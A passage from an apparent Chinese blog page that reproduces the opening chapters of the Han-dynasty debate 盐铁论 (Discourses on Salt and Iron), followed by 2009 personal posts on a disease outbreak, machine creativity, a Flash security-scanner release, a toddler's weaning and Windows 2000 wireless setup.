,宜诛讨之日久矣。陛下垂大惠,哀元元之未赡,不忍暴士大夫于原野;纵难被坚执锐,有北面复匈奴之志,又欲罢盐、铁、均输,扰边用,损武略,无忧边之心,于其义未便也。"
文学曰:"古者,贵以德而贱用兵。孔子曰:'远人不服,则修文德以来之。既来之,则安之。'今废道德而任兵革,兴师而伐之,屯戍而备之,暴兵露师,以支久长,转输粮食无已,使边境之士饥寒于外,百姓劳苦于内。立盐、铁,始张利官以给之,非长策也。故以罢之为便也。"
大夫曰:"古之立国家者,开本末之途,通有无之用,市朝以一其求,致士民,聚万货,农商工师各得所欲,交易而退。易曰:'通其变,使民不倦。'故工不出,则农用乏;商不出,则宝货绝。农用乏,则谷不殖;宝货绝,则财用匮。故盐、铁、均输,所以通委财而调缓急。罢之,不便也。"
文学曰:"夫导民以德则民归厚;示民以利,则民俗薄。俗薄则背义而趋利,趋利则百姓交于道而接于市。老子曰:'贫国若有余。'非多财也,嗜欲众而民躁也。是以王者崇本退末,以礼义防民欲
,实菽粟货财。市,商不通无用之物,工不作无用之器。故商所以通郁滞,工所以备器械,非治国之本务也。"
大夫曰:"管子云:'国有沃野之饶而民不足于食者,器械不备也。有山海之货而民不足于财者,商工不备也。'陇、蜀之丹漆旄羽,荆、扬之皮革骨象,江南之楠梓竹箭,燕、齐之鱼盐旃裘,兖、豫之漆丝��,养生送终之具也,待商而通,待工而成。故圣人作为舟楫之用,以通川谷,服牛驾马,以达陵陆;致远穷深,所以交庶物而便百姓。是以先帝建铁官以赡农用,开均输以足民财;盐、铁、均输,万民所戴仰而取给者,罢之,不便也。"
文学曰:"国有沃野之饶而民不足于食者,工商盛而本业荒也;有山海之货而民不足于财者,不务民用而淫巧众也。故川源不能实漏卮,山海不能赡溪壑。是以盘庚萃居,舜藏黄金,高帝禁商贾不得仕宦,所以遏贪鄙之俗,而醇至诚之风也。排困市井,防塞利门,而民犹为非也,况上之为利乎?传曰:'诸侯好利则大夫鄙,大夫鄙则士贪,士贪则庶人盗。'是开利孔为民罪梯也。"
大夫曰:"往者,郡国诸侯各以其方物贡输,往来烦杂,物多苦恶,或不偿其费。故郡国置输官以相给运
,而便远方之贡,故曰均输。开委府于京师,以笼货物。贱即买,贵则卖。是以县官不失实,商贾无所贸利,故曰平准。平准则民不失职,均输则民齐劳逸。故平准、均输,所以平万物而便百姓,非开利孔而为民罪梯者也。"
文学曰:"古者之赋税于民也,因其所工,不求所拙。农人纳其获,女工效其功。今释其所有,责其所无。百姓贱卖货物,以便上求。间者,郡国或令民作布絮,吏恣留难,与之为市。吏之所入,非独齐、阿之缣,蜀、汉之布也,亦民间之所为耳。行奸卖平,农民重苦,女工再税,未见输之均也。县官猥发,阖门擅市,则万物�收。万物�收,则物腾跃。腾跃,则商贾侔利。自市,则吏容奸。豪吏富商积货储物以待其急,轻贾奸吏收贱以取贵,未见准之平也。盖古之均输,所以齐劳逸而便贡输,非以为利而贾万物也。"

力耕第二

大夫曰:"王者塞天财,禁关市,执准守时,以轻重御民。丰年岁登,则储积以备乏绝;凶年恶岁,则行币物;流有余而调不足也。昔禹水汤旱,百姓匮乏,或相假以接衣食。禹以历山之金,汤以庄山之铜,铸币以赎其民,而天下称仁。往者财用不足,战士或不得禄,而山东被灾,齐、赵大饥,赖均输之畜,仓廪之积,战士以奉,饥民以赈。故均输之物,府库之财,非所以贾万民而专奉兵师之用,亦所以赈困乏而备水旱之灾也。"
文学曰:"古者,十一而税,泽梁以时入而无禁,黎民咸被南亩而不失其务。故三年耕而余一年之蓄,九年耕有三年之蓄。此禹、汤所以备水旱而安百姓也。草莱不辟,田畴不治,虽擅山海之财,通百末之利,犹不能赡也。是以古者尚力务本而种树繁,躬耕趣时而衣食足,虽累凶年而人不病也。故衣食者民之本,稼穑者民之务也。二者修,则国富而民安也。诗云:'百室盈止,妇子宁止'也。"
大夫曰:"贤圣治家非一宝,富国非一道。昔管仲以权谲霸,而纪氏以强本亡。使治家养生必于农,则舜不甄陶而伊尹不为庖。故善为国者,天下之下我高,天下之轻我重。以末易其本,以虚荡其实。今山泽之财,均输之藏,所以御轻重而役诸侯也。汝、汉之金,纤微之贡,所以诱外国而钓胡、羌之宝也。夫中国一端之缦,得匈奴累金之物,而损敌国之用。是以骡驴�驼,衔尾入塞,���马,尽为我畜,�貂狐貉,采旃文�,充于内府,而璧玉珊瑚琉璃,咸为国之宝。是则外国之物内流,而利不外泄也。异物内流则国用饶,利不外泄则民用给矣。诗曰:'百室盈止,妇子宁止。'"
文学曰:"古者,商通物而不豫,工致牢而不伪。故君子耕稼田鱼,其实一也。商则长诈,工则饰骂,内怀窥窬而心不怍,是以薄夫欺而敦夫薄。昔桀女乐充宫室,文绣衣裳,故伊尹高逝游薄,而女乐终废其国。今骡驴之用,不中牛马之功,�貂旃�,不益锦绨之实。美玉珊瑚出于昆山,珠玑犀象出于桂林,此距汉万有余里。计耕桑之功,资财之费,是一物而售百倍其价也,一揖而中万钟之粟也。夫上好珍怪,则淫服下流,贵远方之物,则货财外充。是以王者不珍无用以节其民,不爱奇货以富其国。故理民之道,在于节用尚本,分土井田而已。"
大夫曰:"自京师东西南北,历山川,经郡国,诸殷富大都,无非街衢五通,商贾之所凑,万物之所殖者。故圣人因天时,智者因地财,上士取诸人,中士劳其形。长沮、桀溺,无百金之积,跖�之徒,无猗顿之富,宛、周、齐、鲁,商遍天下。故乃商贾之富,或累万金,追利乘羡之所致也。富国何必用本农,足民何必井田也?"
文学曰:"洪水滔天,而有禹之绩,河水泛滥,而有宣房之功。商纣暴虐,而有孟津之谋,天下烦扰,而有乘羡之富。夫上古至治,民朴而贵本、安愉而寡求。当此之时,道路罕行,市朝生草。故耕不强者无以充虚,织不强者无以掩形。虽有凑会之要,陶、宛之术,无所施其巧。自古及今,不施而得报,不劳而有功者,未之有也。"

通有第三

大夫曰:"燕之涿、蓟,赵之邯郸,魏之温轵,韩之荥阳,齐之临淄,楚之宛、陈,郑之阳翟,三川之二周,富冠海内,皆为天下名都,非有助之耕其野而田其地者也,居五诸之冲,跨街衢之路也。故物丰者民衍,宅近市者家富。富在术数,不在劳身;利在势居,不在力耕也。
文学曰:"荆、扬南有桂林之饶,内有江、湖之利,左陵阳之金,右蜀、汉之材,伐木而树谷,燔莱而播粟,火耕而水耨,地广而饶财;然民�窳偷生,好衣甘食,虽白屋草庐,歌讴鼓琴,日给月单,朝歌暮戚。赵、中山带大河,纂四通神衢,当天下之蹊,商贾错于路,诸侯交于道;然民淫好末,侈靡而不务本,田畴不修,男女矜饰,家无斗筲,鸣琴在室。是以楚、赵之民,均贫而寡富。宋、卫、韩、梁,好本稼穑,编户齐民,无不家衍人给。故利在自惜,不在势居街衢;富在俭力趣时,不在岁司羽鸠也。"
大夫曰:"五行:东方木,而丹、章有金铜之山;南方火,而交趾有大海之川;西方金,而蜀、陇有名材之林;北方水,而幽都有积沙之地。此天地所以均有无而通万物也。今吴、越之竹,隋、唐之材,不可胜用,而曹、卫、梁、宋,采棺转尸;江、湖之鱼,莱、黄之鲐,不可胜食,而邹、鲁、周、韩,藜藿蔬食。天地之利无不赡,而山海之货无不富也;然百姓匮乏,财用不足,多寡不调,而天下财不散也。"
文学曰:"古者,采椽不�,茅茨不翦,衣布褐,饭土硎,铸金为�,埏埴为器,工不造奇巧,世不宝不可衣食之物,各安其居,乐其俗,甘其食,便其器。是以远方之物不交,而昆山之玉不至。今世俗坏而竞于淫靡,女极纤微,工极技巧,雕素朴而尚珍怪,钻山石而求金银,没深渊求珠玑,设机陷求犀象,张网罗求翡翠,求蛮、貉之物以眩中国,徙邛、�之货,致之东海,交万里之财,旷日费功,无益于用。是以褐夫匹妇,劳疲力屈,而衣食不足也。故王者禁溢利,节漏费。溢利禁则反本,漏费节则民用给。是以生无乏资,死无转尸也。"
大夫曰:"古者,宫室有度,舆服以庸;采椽茅茨,非先王之制也。君子节奢刺俭,俭则固。昔孙叔敖相楚,妻不衣帛,马不秣粟。孔子曰:'不可,大俭极下。'此蟋蟀所为作也。管子曰:'不饰宫室,则材木不可胜用,不充庖厨,则禽兽不损其寿。无末利,则本业无所出,无黼黻,则女工不施。'故工商梓匠,邦国之用,器械之备也。自古有之,非独于此。弦高贩牛于周,五�赁车入秦,公输子以规矩,欧冶以�铸。语曰:'百工居肆,以致其事。'农商交易,以利本末。山居泽处,蓬蒿尧�,财物流通,有以均之。是以多者不独衍,少者不独馑。若各居其处,食其食,则是橘柚不鬻,朐卤之盐不出,旃�不市,而吴、唐之材不用也。"
文学曰:"孟子云:'不违农时,谷不可胜食。蚕麻以时,布帛不可胜衣也。斧斤以时,材木不可胜用。田渔以时,鱼肉不可胜食。'若则饰宫室,增台榭,梓匠�巨为小,以圆为方,上成云气,下成山林,则材木不足用也。男子去本为末,雕文刻镂,以象禽兽,穷物究变,则谷不足食也。妇女饰微治细,以成文章,极伎尽巧,则丝布不足衣也。庖宰烹杀胎卵,煎炙齐和,穷极五味,则鱼肉不足食也。当今世,非患禽兽不损,材木不胜,患僭侈之无穷也;非患无旃�橘柚,患无狭庐糠糟也。"

错币第四

大夫曰:"交币通施,民事不及,物有所�也。计本量委,民有饥者,谷有所藏也。智者有百人之功,愚者有不更本之事。人君不调,民有相万之富也。此其所以或储百年之余,或不厌糟糠也。民大富,则不可以禄使也;大强,则不可以罚威也。非散聚均利者不齐。故人主积其食,守其用,制其有余,调其不足,禁溢羡,厄利涂,然后百姓可家给人足也。"
文学曰:"古者,贵德而贱利,重义而轻财。三王之时,迭盛迭衰。衰则扶之,倾则定之。是以夏忠、殷敬、周文,庠序之教,恭让之礼,粲然可得而观也。及其后,礼义弛崩,风俗灭息,故自食禄之君子,违于义而竞于财,大小相吞,泪转相倾。此所以或储百年之余,或无以充虚蔽形也。古之仕者不穑,田者不渔,抱关击柝,皆有常秩,不得兼利尽物。如此,则愚智同功,不相倾也。诗云:'彼有遗秉,此有滞穗,伊寡妇之利。'言不尽物也。"
大夫曰:"汤、文继衰,汉兴乘弊。一质一文,非苟易常也。俗弊更法,非务变古也,亦所以救失扶衰也。故教与俗改,弊与世易。夏后以玄贝,周人以紫石,后世或金钱刀布。物极而衰,终始之运也。故山泽无征,则君臣同利,刀币无禁,则奸贞并行。夫臣富则相侈,下专利则相倾也。"
文学曰:"古者,市朝而无刁币,各以其所有易所无,抱布贸丝而已。后世即有龟贝金钱,交施之也。币数变而民滋伪。夫救伪以质,防失以礼。汤、文继衰,革法易化,而殷、周道兴。汉初乘弊,而不改易,畜利变币,欲以反本,是犹以煎止燔,以火止沸也。上好礼则民�饰,上好货则下死利也。"
大夫曰:"文帝之时,纵民得铸钱、冶铁、煮盐。吴王擅鄣海泽,邓通专西山。山东奸猾,咸聚吴国,秦、雍、汉、蜀因邓氏。吴、邓钱布天下,故有铸钱之禁。禁御之法立,而奸伪息,奸伪息,则民不期于妄得,而各务其职;不反本何为?故统一,则民不二也;币由上,则下不疑也。"
文学曰:"往古,币众财通而民乐。其后,稍去旧币,更行白金龟龙,民多巧新币。币数易而民益疑。于是废天下诸钱,而专命水衡三官作。吏匠侵利,或不中式,故有薄厚轻重。农人不习,物模拟之,信故疑新,不知奸贞。商贾以美贸恶,以半易倍。买则失实,卖则失理,其疑或滋益甚。夫铸伪金钱以有法,而钱之善恶无增损于故。择钱则物稽滞,而用人尤被其苦。春秋曰:'算不及蛮、夷则不行。'故王者外不鄣海泽以便民用,内不禁刀币以通民施。"

禁耕第五

大夫曰:"家人有宝器,尚函匣而藏之,况人主之山海乎?夫权利之处,必在深山穷泽之中,非豪民不能通其利。异时,盐铁未笼,布衣有朐邴,人君有吴王,皆盐铁初议也。吴王专山泽之饶,薄赋其民,赈赡穷乏,以成私威。私威积而逆节之心作。夫不蚤绝其源而忧其末,若决吕梁,沛然,其所伤必多矣。太公曰:'一家害百家,百家害诸侯,诸侯害天下,王法禁之。'今放民于权利,罢盐铁以资暴强,遂其贪心,众邪群聚,私门成党,则强御日以不制,而�兼之徒奸形成也。"
文学曰:"民人藏于家,诸侯藏于国,天子藏于海内。故民人以垣墙为藏闭,天子以四海为匣匮。天子适诸侯,升自阼阶,诸侯纳管键,执策而听命,示莫为主也。是以王者不畜聚,下藏于民,远浮利,务民之义;义礼立,则民化上。若是,虽汤、武生存于世,无所容其虑。工商之事,欧冶之任,何奸之能成?三桓专鲁,六卿分晋,不以盐铁。故权利深者,不在山海,在朝廷;一家害百家,在萧墙,而不在朐邴也。"
大夫曰:"山海有禁,而民不倾;贵贱有平,而民不疑。县官设衡立准,人从所欲,虽使五尺童子适市,莫之能欺。今罢去之,则豪民擅其用而专其利。决市闾巷,高下在口吻,贵贱无常,端坐而民豪,是以养强抑弱而藏于跖也。强养弱抑,则齐民消;若众秽之盛而害五谷。一家害百家,不在朐邴,如何也?"
文学曰:"山海者,财用之宝路也。铁器者,农夫之死士也。死士用,则仇雠灭,仇雠灭,则田野辟,田野辟而五谷熟。宝路开,则百姓赡而民用给,民用给则国富。国富而教之以礼,则行道有让,而工商不相豫,人怀敦朴以相接,而莫相利。夫秦、楚、燕、齐,土力不同,刚柔异势,巨小之用,居句之宜,党殊俗易,各有所便。县官笼而一之,则铁器失其宜,而农民失其便。器用不便,则农夫罢于野而草莱不辟。草莱不辟,则民困乏。故盐冶之处,大傲皆依山川,近铁炭,其势咸远而作剧。郡中卒践更者,多不勘,责取庸代。县吧或以户口赋铁,而贱平其准。良家以道次发僦运盐、铁,烦费,百姓病苦之。愚窃见一官之伤千里,未睹其在朐邴也。"

复古第六

大夫曰:"故扇水都尉彭祖宁归,言:'盐、铁令品,令品甚明。卒徒衣食县官,作铸铁器,给用甚众,无妨于民。而吏或不良,禁令不行,故民烦苦之。'令意总一盐、铁,非独为利入也,将以建本抑末,离朋党,禁淫侈,绝�兼之路也。古者,名山大泽不以封,为下之专利也。山海之利,广泽之畜,天地之藏也,皆宜属少府;陛下不私,以属大司农,以佐助百姓。浮食奇民,好欲擅山海之货,以致富业,役利细民,故沮事议者众。铁器兵刃,天下之大用也,非众庶所宜事也。往者,豪强大家,得管山海之利,采铁石鼓铸,煮海为盐。一家聚众,或至千余人,大抵尽收放流人民也。远去乡里,弃坟墓,依倚大家,聚深山穷泽之中,成奸伪之业,遂朋党之权,其轻为非亦大矣!今者,广进贤之途,练择守尉,不待去盐、铁而安民也。"
文学曰:"扇水都尉所言,当时之权,一切之术也,不可以久行而传世,此非明王所以君国子民之道也。诗云:'哀哉为犹,匪先民是程,匪大犹是经,维迩言是听。'此诗人刺不通于王道,而善为权利者。孝武皇帝攘九夷,平百越,师旅数起,粮食不足。故立田官,置钱,入谷射官,救急赡不给。今陛下继大功之勤,养劳倦之民,此用麋鬻之时;公卿宜思所以安集百姓,致利除害,辅明主以仁义,修润洪业之道。明主即位以来,六年于兹,公卿无请减除不急之官,省罢机利之人。人权县太久,民良望于上。陛下宣圣德,昭明光,令郡国贤良、文学之士,乘传诣公车,议五帝、三王之道,六艺之风,册陈安危利害之分,指意粲然。今公卿辨议,未有所定,此所谓守小节而遗大体,抱小利而忘大利者也。"
大夫曰:"宇栋之内,燕雀不知天地之高;坎井之蛙,不知江海之大;穷夫否妇,不知国家之虑;负荷之商,不知猗顿之富。先帝计外国之利,料胡、越之兵,兵敌弱而易制,用力少而功大,故因势变以主四夷,地滨山海,以属长城,北略河外,开路匈奴之乡,功未卒。盖文王受命伐崇,作吧于丰;武王继之,载尸以行,破商擒纣,遂成王业。曹�弃三北之耻,而复侵地;管仲负当世之累,而立霸功。故志大者遗小,用权者离俗。有司思师望之计,遂先帝之业,志在绝胡、貉,擒单于,故未遑扣扃之义,而录拘儒之论。"
文学曰:"燕雀离巢宇而有鹰隼之忧,坎井之蛙离其居而有蛇鼠之患,况翱翔千仞而游四海乎?其祸必大矣!此李斯所以折翼,而赵高没渊也。闻文、武受命,伐不义以安诸侯大夫,未闻弊诸夏以役夷、狄也。昔秦常举天下之力以事胡、越,竭天下之财以奉其用,然众不能毕;而以百万之师,为一夫之任,此天下共闻也。且数战则民劳,久师则兵弊,此百姓所疾苦,而拘儒之所忧也。"
=============================================
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)
返回:诸子百家目录

2009年3月31日星期二

中国再次爆发手足口病

中国卫生部报道(卫生部网站至今仍然不兼容FF和Chrome等非IE浏览器),中国再次爆发手足口病。截至3月26日12时,全国30个省份(除西藏)共报告手足口病例41846例,重症病例94例;5岁及以下儿童占93.96%;截至3月26日24时,报告死亡病例18例。BBC报道,卫生部正在调查上报5名幼儿死亡的山东菏泽当局是否瞒报疫情,手足口病疫情在河南、山东最为严峻。

2009年3月29日星期日

如何让机器让有创造力,拥有真正的人工智能

小雨,天似暧还冷

机器有创造性吗?

无论是程序还是机械结构的机器,都在执行一个大的循环操作,在这个大的循环操作中,又有许多流线式的多个操作结构,就是河流的一段一段,或者公路上的车流,走过一段路,又走上另一段路。

机器都是按着既定的程序进行的,那么有没有可能,让机器拥有创造性呢?

人工智能发展了这么多年,表面看上去比较新奇的一些东西,实际还离真正的人工智能相去甚远。比如sony的那个机器狗,还是一些宠物似的机器人什么的,包括现在走入媒体报道的机器人大赛什么的,都是按照一些既定的程序操作的,并不是真正的人工智能。

如果让机器拥有真正的智慧呢?智慧的几个特征:创造力、联想能力、丰富的知识。还有其它方面呢?不管怎么说,我认为前二个方面对机器来说非常重要,也是阻碍人工智能的最大障碍。第三个方面,正是机器最擅长的地方。

那么,机器能够有创造力、联想能力吗?
今天有个想法,如果基于这个算法,会不会让机器拥有创造力?先从人的创造力说起。人在这方面的能力是怎么得来的。我觉的创造力也不神奇,在于人类会做梦,会遗忘和记忆,现在的事情有可能已经将来遗忘,只留一点儿印象,过去的事情,却可以记忆清晰,哪怕一点儿细节。过去和现在的事情杂揉在一起,就会产生神奇的力量。

人类拥有最大的幸福,就在于拥有时间,活在时间里。机器则没有时间的影响,或者受时间的影响很小。如果使用算法,将时间因素的影响,加到结论的最终判断上面,会怎么样呢?这样过去和现在的事物,就在于如何取舍哪处该遗忘,哪处该清晰地记忆了。关键是如何取舍!

人类的取舍规则是什么?是重要的事情记忆,简单重复的事情忽略,就象我们每天在眼睛里看到的,重大的事件,帅哥美女,在大街上随便见到的,也会记忆清晰。但在大街上时,那么多的像素,99%的其实是忽略掉的。能注意和记忆的,也只是与已有的知识有关的,比如审美,比如异常的变动(重大事件)。

如何判断,什么事物是简单的、重复的?什么事物是重要的?如果资料库足够丰富的话,会不会使用某种规则,可以建立起来这种规则。当然,现在的资料库还是太贫乏,需要更多的样本,视频、声音、更多的像素,当世界上最穷的地方,也能像英国伦郭那样,遍布摄像头的时候,我相信就有了足够的资料库,也有了清晰的判断规则。

有了这些规则,就有了可以使用的算法,也就有了让机器判断,在一件事情的判断上,哪些因素是重要的,该通过清晰的"记忆"影响当前判断,哪些因素是简单重复的,不重要的,该通过模糊的"记忆"减小影响因子,这样,就会产生有效的人工智能。
但这样一个规则下的人工智能,能达到多深的程度?
不管怎么说,只要让机器有了创造力,人类会不会进化到另一种境界,或者说,必须面对这个进化的压力,或者说,也必须面临选择?

还有个重要的问题。当前的程序问题。第一,如何有效的影响和控制物理上的机械,当然是通过电子电路。第二,现在的程序,如何完成自我演化,借助互联网的力量,进行自我进化。没错,就是要完成自我进化,和生命体一样,要不断地进化。搜集资料,建立样本,接触和反应,然后修改自身规则。恩,最后这一条"修改自身规则",既危险,又不可缺少。模仿生命体的进化,必须得不断修正修改,对外界的响应规则吧?如果不改变,也就不会进化。

这个响应规则,如果仅仅是参数上的修改,肯定不会起到作用。也不会仅仅只是true or
false的判断,必须是全方面的规则添加和删除以及更正,至少包含insert,delete和update三种方法。也许,程序体的进化,才会让机器最终拥有创造力。

恩,权当科幻吧。不过一切皆有可能,是不是?而且,用我这台很老的笔记本电脑,我也可以做一些有趣的东西。如果现在就放到互联网上,发布出去,几十年之后,这个程序体会不会成长为一个有趣的东东?

2009年3月26日星期四

flash安全扫描器

惠普的Web安全研究组推出了免费Flash安全工具SWFScan。研究人员反编译了所有版本的Flash,发现了超过60个安全漏洞。扫描器能从Flash程序中探测到如XSS(跨站脚本攻击),SQL注入,硬编译(hard-coded)认证证书,弱加密,不安全函数调用,跨域权限升级,和违反Adobe公司安全建议等各类问题。互联网上针对Flash的攻击正在扩大化,惠普称有35%以上的SWF应用程序违反了Adobe的安全建议。

此工具链接 http://www.hp.com/go/swfscan

善宝断奶

善宝断奶


善宝头天断奶,可是件天大的事,不知道他会如何辛苦,于是晚上我们爷俩洗了澡,干干净净地坐在床上看小人书。善宝一岁零三个月,早该断奶了,以前的原因是冬天怕生病,现在春暧花开,于是下定了决心断奶。

要给他断奶,其实早就沟通过了,他似懂非懂地点着头,恩恩地答应着,似乎只要对自己成长有利的事情,就万分合作。可能是希望自己快快长大,也能拥有平等对话的权利吧。从以往对他的观察看,其实对他说什么事情,他基本都能听的懂,当然有时也会装傻,比如把碗里的粥倒在桌子上,或者他正在玩的时候,让他跟别人打招呼,这时候基本两耳不闻窗外事,一副万分认真的样子,完全沉浸在自己的事情上。其实所有的事情,他都非常明白,有时只是揣着明白装糊涂。所以要提高警惕,万万不能被他讨人喜欢的可爱外表欺骗了。这次断奶前,反复给善宝做足了工作,就像开发商劝人拆迁似的,软硬兼施恩威并施。想想,拆迁那么难的事情,都能有人搞定。咱小善宝断奶这点儿小事,思想都做通了,还有何难?

于是,晚上我们沐浴更衣,准备小善宝这成长的一步。
善宝最近有些爱美,身上有一点儿脏的地方,或不完美的地方,都要指给大人看,要马上解决的样子。可能觉的最近在外面晒的有些黑了,路上的漂亮姐姐们不再围上来夸他可爱了,魅力有的减弱吧。有时自己拿出护肤品,找爸爸找妈妈帮他打开盖子。怕他浪费折腾了,就给他说,只能晚上才能打开盖子,白天打开的话,就会跑了,没了。呵呵,倒也不算欺骗,从某些方面说,确实是这样的,只不过用了些拖延战略。这一招是从春运售票学的。据说若干年(大于10年)了,铁路上一直要改革春运售票,出了多少办法,开了多少会,前一阵儿还组织了若干个专题组研究,却一直避重就轻,不能解决问题。最后发言人出来说,主要是现在铁路上没钱啊,大家再等等,到2012就好了,那时铁路快了,客运线也多了,大家就好买票了。打着各种名目向国家要钱,和中石油一样有才,其实建立个实名的电话售票系统或网上售票系统,很便宜的,甚至用领导们几顿饭钱就能办了。可惜的老百姓们,还不知道铁路上担了多大的任务,好像困难的要累跨似的。
小善宝还没有经历过春运售票,更未经历中国特色的诸干事物,远远不知将来长大要面临的战斗,所以,还没有这方面的警觉性,一不小心就中招了,转身先去玩着其它玩具,把护肤品的事,放到一边了。

和kevin(善宝)在床上玩了一会儿。不知何时,看到了自己身上的线球球。于是就扯了起来,还要爸爸打个下手。每次扯下来,就放到爸爸手里,嘴里乐开了花。玩一会儿,又折腾收音机,大小音量,调个台啥的。一会儿妈妈洗完澡过来,更变的兴奋了,脱了小棉裤,露出小屁股在床上转来转去,一会爬到床头那边倒立着斜躺下来,一会又爬过来,小脑袋压在妈妈的头上。眼看着时间过去,比平常晚睡了半个小时。
赶紧让妈妈到北屋去,老这样还怎么哄着睡觉呀?
我哼着小曲,都快把自己哄睡着了,善宝还是睁圆了眼睛,乐呵呵地跟我打游击呢。
妈妈刚走到门口,被善宝注意了,一下子就站起来,要扑上去,同时咧嘴大哭。
没办法,我和妈妈一人一边,妈妈唱着歌谣,我唱着胎教时的ABCD字母歌,他又胜利了,一会儿转头看看妈妈,一会儿双转过身子来,拍拍爸爸,似乎要哄着爸爸快点儿睡觉,不能这么不乖了。
我说,要不和些奶粉吧,老这样善宝也睡不着呀。他停了动作,似乎等着我去执行这个计划,看我没有动弹,还在陪他唱着歌谣,马上又咧开了大嘴,哇哇地哭起来。妈妈彻底败了,说,要不先喂着奶吧。
我搬了笔记本到书房,不到一分钟,善宝已经在妈妈的哺育下,香香地睡去了。夜静了,只有冰箱偶尔启动的声音。妈妈在善宝的哭声中,再一次失败,作了不由自己的退步。孩子,真让人心不由已啊

2009年3月25日星期三

断奶

善宝断奶


善宝头天断奶,可是件天大的事,不知道他会如何辛苦,于是晚上我们爷俩洗了澡,干干净净地坐在床上看小人书。善宝一岁零三个月,早该断奶了,以前的原因是冬天怕生病,现在春暧花开,于是下定了决心给他断奶。

要给他断奶,其实早就沟通过了,他似懂非懂地点着头,恩恩地答应着,似乎只要对自己成长有利的事情,就万分合作。从以往对他的观察看,其实说什么事情,他基本都能听的懂,当然有时有装傻,比如把碗里的粥倒在桌子上,或者他正在玩的时候,让他跟别人打招呼,这时候基本两耳不闻窗外事,一副万分认真的样子,完全沉浸在自己的事情上。其实所有的事情,他都非常明白,有时只是揣着明白装糊涂,万万不能被他讨人喜欢的可爱外表欺骗了。这次断奶前,反复给善宝做足了工作,就开发商劝人拆迁似的,几乎软硬兼施。想想,拆迁那么难的事情,都能有人搞定。咱小善宝断奶这点儿小事,思想都做通了,还有何难?

于是,晚上我们沐浴更衣,准备小善宝这成长的一步。
善宝最近有些爱美,身上有一点儿脏的地方,或不完美的地方,都要指给大人看,要马上解决的样子。可能觉的最近在外面晒的有些黑了,魅力有的减弱吧,有时还拿着护肤品,找爸爸找妈妈给他打开盖子。怕他折腾了,就给他说,只能晚上才能打开盖子,白天打开的话,就会跑了,没了。呵呵,倒也不算欺骗,从某些方面说,确实是这样的,只不过用了些拖延战略。这一招是从铁路销售上学的,不是说若干年(大于10年)了,铁路上一直要改革春运售票,出了多少办法,开了多少会,却一直避重就轻,最后发言人出来说,大家再等等,到2012就好了,那时铁路快了,客运线也多了,大家就好买票了。小善宝还没有经历过春运售票,远远不知将来长大要面临的战斗,所以,还没有这方面的警觉性,于是就中招了,转身先去玩着其它玩具,把护肤品的事,放到一边了。

和kevin(善宝)在床上玩了一会儿。不知何时,认上自己身上的线球球。扯了起来,还要爸爸打个下手,只要扯下来,就放到爸爸手里,嘴里乐开了花。玩一会儿,就折腾收音机,大小音量,调个台啥的。一会儿妈妈洗完澡过来,更变的兴奋了,脱了小棉裤,露出小屁股在床上转来转去,一会爬到床头那边倒立着斜躺下来,一会又爬过来,小脑袋压在妈妈的头上。眼看着时间过去,比平常晚睡了半个小时。
赶紧让妈妈到北屋去,老这样还怎么哄呀?
我哼着小曲,都快把自己哄睡着了,善宝还是睁圆了眼睛,乐呵呵地跟我打游击呢。
妈妈刚走到门口,被善宝注意了,一下子就站起来,要扑过来,同时嘴里咧开了大哭。
没办法,我和妈妈一人一边,妈妈唱着歌谣,我唱着胎教时的ABCD字母歌,他又胜利了,一会儿转头看看妈妈,一会儿双转过身子来,拍拍爸爸,似乎要哄着爸爸快点儿睡觉,不能这么不乖了。
我说要不活些奶粉吧,老这样也睡不着。他停了动作,似乎等着下文,看我没有动弹,还在陪他唱着歌谣,马上咧开了大嘴,哇哇地哭起来。妈妈彻底败了,说,要不先喂着奶吧。
我搬了笔记本到书房,不到一分钟,善宝已经在妈妈的哺育下,香香地睡去了。夜静了,只有冰箱偶尔启动的声音。妈妈在善宝的哭声中,再一次失败,作了不由自己的退步。孩子,真让人心不由已啊

关于windows2000下无线网络配置的补充

我的其中一块无线网卡,是从做物流的数据采集器上拆下来的,带着常常的天线,功率也大一些,加上那个好用的天线,可以使用上千米内的信号。驱动和配置工具,可以在这儿下载:
ftp://symstore.longisland.com/Symstore/files/S24MC392B67_01.exe另外还有个无线网卡,据说是lucent的金卡,支持128位加密,速度快传输稳定,名字为enterasys
roamabout DS,win2000本身也集成了驱动,但同样无法配置无线,所以还得从厂家下载驱动+网卡升级程序+配置工具,地址如下http://secure.enterasys.com/software/RoamAbout/CSIxD/win/RoamAbout-Client-WIN95-98-2000-ME-NT-XP-786-pkg.zip

补充一下,最后这块网卡,确实非常非常稳定,在多个ap测试后,几乎看不到信号的波动,下载速率基本保持恒定

2009年3月24日星期二

windows2000下配置无线网络

windows2000下配置无线网络

win2000下能配置无线网络吗?可以肯定地说,肯定可以。同时也可以肯定地说,无法使用系统自带的工具进行无线网络配置,我有四五种无线网卡,总结起来,有如下几种方法可以配置无线网络:

1、在"网络连接",属性,"配置"中,可以看到无线网卡本身的一些属性,如果这些属性中,有的驱动是直接有配置的界面,可以输入SSID,WEP等值的地方,

2,要是没有可以输入这些值的地方,就只能使用网卡自带的配置工具。这些配置工具,必须到原厂的网站下载。

windows 2000如果打了sp4,在系统服务中,会出现wireless
configuration服务,但这个东西其实并没有多少用处,无法提供ssid/wep的输入界面。我没有尝试windows提供的命令行网络配置,要是你使用这样的方法成功了,请给我发个邮件告知。

网上所有的文章,几乎都使用了第二种方法,都是使用了厂家提供的工具。其实这种方法也挺好,厂家提供的工具非常方便,许多不过可以配置认证方法,加密方式,无线接入点选择,而且还有其它的一些功能细节,使用起来还是比较方便的。

linux下就方便多了,可以有各种的配置工具,配置命令都可以快速地完成无线配置。但最近比较疑惑,我选择的几个linux版本,都无法提供令人满意的用户体验,关键在于,这些版本的linux和windows2000相比,在我这台老笔记本上面,速度太慢,不是说2.6
的 kernel,速度提升很高吗?怎么比windows 2000慢很多吗?舍弃了那么多功能,我只能使用windows
2000完成一些简单的文档写作,听听音乐啥的,更多的就干不了,连个脚本都没法用,更没法写个简单的程序了。总之,用了几周的windows
2000,让我变的又傻又懒了。

军队般的训练量

前几天到了30多度,现在又变的象冬天,冷嗖嗖的风,吹着树上刚长出的嫩芽。

感觉特别地累,累的一直没有休息过来,晚上11点早上7点起,中午还要睡上一小觉,还是没有休息过来。
上周未骑车郊区游,逛了一天,骑了也就几十里路,可能是顶风骑累着了,回来后,从周一到周五,每天晚上跑20圈,20X400 =
